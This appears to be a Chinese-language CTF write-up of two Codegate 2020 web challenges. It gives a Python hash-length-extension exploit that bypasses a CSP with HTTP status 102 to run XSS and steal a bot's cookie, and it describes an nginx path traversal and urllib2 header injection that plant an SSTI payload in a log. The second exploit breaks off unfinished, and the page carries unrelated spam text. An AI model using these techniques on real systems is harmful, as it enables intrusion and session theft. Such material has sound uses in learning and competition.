<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    2020 Codegate Web題解

    VSole2022-07-07 08:09:51

    Codegate 還是有很多國際強隊參加的,這里記錄 Codegate 的兩道 Web題。

    CSP分析

    題目給了 api.php 的代碼:

     'config.php';if(!isset($_GET["q"]) || !isset($_GET["sig"])) {    die("?");
    }
    $api_string = base64_decode($_GET["q"]);
    $sig = $_GET["sig"];if(md5($salt.$api_string) !== $sig){    die("??");
    }//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...$apis = explode("|", $api_string);foreach($apis as $s) {
        $info = explode(",", $s);    if(count($info) != 3)        continue;
        $n = base64_decode($info[0]);
        $p1 = base64_decode($info[1]);
        $p2 = base64_decode($info[2]);    if ($n === "header") {        if(strlen($p1) > 10)            continue;        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
                continue;
            header("$p1: $p2");
        }    elseif ($n === "cookie") {
            setcookie($p1, $p2);
        }    elseif ($n === "body") {        if(preg_match("/<.*>/", $p1))            continue;        echo $p1;        echo "n
    n";
        }    elseif ($n === "hello") {        echo "Hello, World!n";
        }
    }
    

    題目的 CSP 的策略是 default-src 'self'; script-src 'none'; base-uri 'none';,這基本給堵死了,直接打 cookie 不可能了。

    index.php 可以給一個API,得到簽名,但是不支持一次多個API,我們沒有 key,這里明顯是一個哈希長度擴展攻擊的考點,采用 salt+msg的方式進行哈希。

    接著 api.php,發現可以設置 header,設置 cookie,輸出內容。設置 header做了一定過濾,無法覆蓋 CSP 設置。body 這部分過濾沒啥用,preg_match 的 . 不匹配 n。

    關鍵在于使 CSP 失效,可以設置 HTTP 狀態碼為 102 使 CSP 失效,同時可以執行js。為了驗證我本地寫了個 php:

    header("Content-Security-Policy: default-src 'self'; script-src 'none';");
    header("HTTP/: 102");?>alert(<span style="color: rgb(0, 0, 0);font-size: 15px;box-sizing: border-box;">1</span>)
    

    我用 nimmis/apache-php7 這個鏡像起了個 docker,發現 chrome 是不可以的:

    開始以為 chrome 版本問題,試了舊版本還是不行。

    我用 mac 自帶的 apache 和 php 環境試了一下,發現是可以的。。。

    這與 server 還有關系?感興趣的師傅可以研究解答一下…

    這道題的環境也是可以的,我們隨便拿到一個簽名,然后用哈希擴展攻擊得到想要的簽名。

    exp

    import requestsimport hashpumpy
    url = "http://110.10.147.166/"def get_sig():
        res = requests.get(url + "view.php", params={'name': 'gml', 'p1': 'gml', 'p2': 'gml'}).content
        sig, msg = res.split("/api.php?sig=")[1].split('">')[0].split("&q=")    return sig, msg.decode("base64")
    sig, msg = get_sig()
    api1 = ['header', 'HTTP/', '102']
    api2 = ['body', 'alert(1)', '']
    new_msg = "|%s|%s" % (    ','.join(c.encode("base64").strip() for c in api1), ','.join(c.encode("base64").strip() for c in api2))# len(salt)=12new_sig, q = hashpumpy.hashpump(sig, msg, new_msg, 12)
    q = q.encode("base64")
    print('{}api.php?sig={}&q={}'.format(url, new_sig, q))
    

    訪問,發現可以彈窗:

    改變 xss payload 為打 cookie的,提交給 bot,可以打到cookie:

    Render

    Description

    It is my first flask project with nginx. Write your own message, and get flag!
    http://110.10.147.169/renderer/ http://58.229.253.144/renderer/DOWNLOAD : http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9
    

    下載可以得到 settings/run.sh:

    #!/bin/bashservice nginx stop
    mv /etc/nginx/sites-enabled/default /tmp/
    mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask
    service nginx restart
    uwsgi /home/src/uwsgi.ini &
    /bin/bash /home/cleaner.sh &
    /bin/bash
    

    以及 docker file:

    FROM python:2.7.16
    ENV FLAG CODEGATE2020{**DELETED**}
    RUN apt-get update
    RUN apt-get install -y nginx
    RUN pip install flask uwsgi
    ADD prob_src/src /home/src
    ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
    ADD prob_src/static /home/static
    RUN chmod 777 /home/static
    RUN mkdir /home/tickets
    RUN chmod 777 /home/tickets
    ADD settings/run.sh /home/run.sh
    RUN chmod +x /home/run.sh
    ADD settings/cleaner.sh /home/cleaner.sh
    RUN chmod +x /home/cleaner.sh
    CMD ["/bin/bash", "/home/run.sh"]
    

    我們能從中得到的主要是目錄結構,結合題目描述 nginx,應該存在 nginx 目錄遍歷。

    http://110.10.147.169/static../src/uwsgi.ini,可以下到文件。

    獲取源碼

    讀源碼:

    http://110.10.147.169/static../src/app/__init__.py

    from flask import Flaskfrom app import routesimport os
    app = Flask(__name__)
    app.url_map.strict_slashes = Falseapp.register_blueprint(routes.front, url_prefix="/renderer")
    app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
    

    讀routes:

    http://110.10.147.169/static../src/app/routes.py

    from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprintimport urllib2import timeimport hashlibfrom os import pathfrom urlparse import urlparse
    front = Blueprint("renderer", __name__)@front.before_requestdef test():
        print(request.url)@front.route("/", methods=["GET", "POST"])def index():
        if request.method == "GET":        return render_template("index.html")
        url = request.form.get("url")
        res = proxy_read(url) if url else False
        if not res:
            abort(400)    return render_template("index.html", data = res)@front.route("/whatismyip", methods=["GET"])def ipcheck():
        return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())@front.route("/admin", methods=["GET"])def admin_access():
        ip = get_ip()
        rip = get_real_ip()    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
            abort(403)    if ip != rip: #if use proxy
            ticket = write_log(rip)        return render_template("admin_remote.html", ticket = ticket)    else:        if ip == "127.0.0.2" and request.args.get("body"):
                ticket = write_extend_log(rip, request.args.get("body"))            return render_template("admin_local.html", ticket = ticket)        else:            return render_template("admin_local.html", ticket = None)@front.route("/admin/ticket", methods=["GET"])def admin_ticket():
        ip = get_ip()
        rip = get_real_ip()    if ip != rip: #proxy doesn't allow to show ticket
            print 1
            abort(403)    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
            print 2
            abort(403)    if request.headers.get("User-Agent") != "AdminBrowser/1.337":        print request.headers.get("User-Agent")
            abort(403)    if request.args.get("ticket"):
            log = read_log(request.args.get("ticket"))        if not log:            print 4
                abort(403)        return render_template_string(log)def get_ip():
        return request.remote_addrdef get_real_ip():
        return request.headers.get("X-Forwarded-For") or get_ip()def proxy_read(url):
        #TODO : implement logging
        s = urlparse(url).scheme    if s not in ["http", "https"]: #sjgdmfRk akfRk
            return ""
        return urllib2.urlopen(url).read()def write_log(rip):
        tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:
            log_str = "Admin page accessed from %s" % rip
            f.write(log_str)    return tiddef write_extend_log(rip, body):
        tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:
            f.write(body)    return tiddef read_log(ticket):
        if not (ticket and ticket.isalnum()):        return False
        if path.exists("/home/tickets/%s" % ticket):        with open("/home/tickets/%s" % ticket, "r") as f:            return f.read()    else:        return False
    

    分析

    可以發現我們 flag 在 config 中,想到 SSTI。

    題目還提供了一個類似 SSRF 的功能,讓服務器幫我們去請求,這里用的是 urllib2.urlopen(url),這里存在 http 頭注入的問題。

    再看一下 admin 接口,會把 rip,也就是 xff 頭寫到日志里,我們可以通過 /admin/ticket 接口來訪問日志(當然我們有了目錄遍歷,也可以直接下載)

    如何才能 SSTI 呢,當訪問 /admin/ticket 接口時會把日志結果用 render_template_string渲染,所以我們的思路很清楚了:把 SSTI payload 先放到 xff 頭里,訪問 admin 接口把 payload 寫到日志里,再去訪問 /admin/ticket 接口實現 SSTI,頭部控制可以利用 urllib 的 HTTP 注入。

    exp

    首先請求 /admin:

    得到 ticket,再請求 /admin/ticket:

    nginxrip
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    內網滲透合集(三)
    2023-01-28 09:44:16
    jsp端口轉發滲透過程中,由于windows和linux的差別以及運行語言環境的限制導致端口轉發經常出現問題。于是自己寫了個簡單的JSP的端口轉發腳本。仿造 LCX的功能,具有正向、反向、監聽三種模式。對于目前數量眾多的JAVA WEB網站來說,可以比較方便的實現端口轉發。在這里發布出來,小伙伴們使用過程中,如果發現什么bug歡迎提交哈~參數說明/KPortTran.jsp?lip = local ip / 本地ip //一般為內網主機IP. lp = local port / 本地端口 //一般為內網主機端口
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    2020 Codegate Web題解
    2022-07-07 08:09:51
    Codegate 還是有很多國際強隊參加的,這里記錄 Codegate 的兩道 Web題。
    同時又在默認的系統環境下,通過pip安裝部署,大多數情況下,是不會出現問題。相關的依賴庫,在Python安裝之后,都是通過pip來安裝。但實際我們裝個python2.7版本的環境就基本滿足目前的需求。我們創建了一個叫做py27的虛擬環境。workonpy272.4 安裝Opencananrypip在安裝opencanary時,會自動安裝他所需求要的各種依賴,一般不出問題的話,一切都會順利安裝完成。
    對于黑名單之內的 IP ,拒絕提供服務。為了方便管理和共享,我們選擇通過 Nginx+Lua+Redis 的架構實現 IP 黑名單的功能,架構圖如下:實現1、安裝 Nginx+Lua模塊,推薦使用 OpenResty,這是一個集成了各種 Lua 模塊的 Nginx 服務器:2、安裝并啟動 Redis 服務器;3、配置 Nginx 示例:Nginx 配置其中lua_shared_dict ip_blacklist 1m;指定 lua 腳本位置。
    配置好后可一建生成nginx.conf文件,同時可控制nginx使用此文件進行啟動與重載,完成對nginx的圖形化控制閉環。本系統通過Let's encrypt申請證書,使用acme.sh腳本進行自動化申請和續簽,開啟續簽的證書將在每天凌晨2點進行續簽, 只有超過60天的證書才會進行續簽,只支持在linux下簽發證書。
    一般有運行nginx服務器的用戶組,nginx進程pid存放路徑,日志存放路徑,配置文件引入,允許生成worker process數等。#user administrator administrators; #配置用戶或者組,默認為nobody nobody。keepalive_requests 120;#單連接請求上限次數。
    Nginx是一個開放源代碼的高性能HTTP和反向代理服務器,負責處理Internet上某些最大站點的負載。在對服務器或應用程序問題進行故障排除時,知道如何配置和讀取日志非常有用,因為它們提供了詳細的調試信息。Nginx用兩種類型的日志記錄其事件:訪問日志和錯誤日志。
    Nginx 快速入門
    2022-05-11 16:36:35
    Nginx 是?款?性能的 http 服務器/反向代理服務器及電?郵件(IMAP/POP3)代理服務器。由俄羅斯的程序設計師伊?爾·?索夫(Igor Sysoev)所開發,官?測試 nginx 能夠??撐 5 萬并發鏈接,并且cpu、內存等資源消耗卻?常低,運??常穩定。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类